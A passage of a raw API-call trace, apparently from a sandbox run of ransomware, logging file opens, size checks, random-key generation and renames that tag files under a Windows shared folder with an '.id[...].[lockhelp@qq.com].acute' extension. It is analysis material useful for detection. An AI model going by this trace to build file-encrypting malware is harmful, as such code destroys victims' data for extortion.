shared\\ink\\hwrusalm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0272.650] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.650] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4120784) returned 1 [0272.650] CloseHandle (hObject=0x32c) returned 1 [0272.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0272.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0272.650] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.650] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2592) returned 1 [0272.650] CloseHandle (hObject=0x32c) returned 1 [0272.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0272.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.651] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.651] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2462) returned 1 [0272.651] CloseHandle (hObject=0x32c) returned 1 [0272.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0272.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.651] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.652] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2436) returned 1 [0272.652] CloseHandle (hObject=0x32c) returned 1 [0272.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0272.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.653] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.653] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2556) returned 1 [0272.653] CloseHandle (hObject=0x32c) returned 1 [0272.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0272.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.653] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.653] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2514) returned 1 [0272.653] CloseHandle (hObject=0x32c) returned 1 [0272.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0272.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.654] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.654] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2616) returned 1 [0272.654] CloseHandle (hObject=0x32c) returned 1 [0272.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0272.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.654] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.655] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2578) returned 1 [0272.655] CloseHandle (hObject=0x32c) returned 1 [0272.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0272.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.655] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.655] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3024) returned 1 [0272.655] CloseHandle (hObject=0x32c) returned 1 [0272.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0272.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.656] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.656] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2658) returned 1 [0272.656] CloseHandle (hObject=0x32c) returned 1 [0272.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0272.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.660] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.661] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2628) returned 1 [0272.661] CloseHandle (hObject=0x32c) returned 1 [0272.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0272.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.661] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.662] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2652) returned 1 [0272.662] CloseHandle (hObject=0x32c) returned 1 [0272.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0272.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.662] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.662] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2526) returned 1 [0272.662] CloseHandle (hObject=0x32c) returned 1 [0272.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0272.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.663] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.663] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2522) returned 1 [0272.663] CloseHandle (hObject=0x32c) returned 1 [0272.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0272.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.663] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.664] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2568) returned 1 [0272.664] CloseHandle (hObject=0x32c) returned 1 [0272.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0272.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.664] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.665] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2626) returned 1 [0272.665] CloseHandle (hObject=0x32c) returned 1 [0272.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0272.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.665] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.665] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2580) returned 1 [0272.665] CloseHandle (hObject=0x32c) returned 1 [0272.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0272.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.665] CryptGenRandom 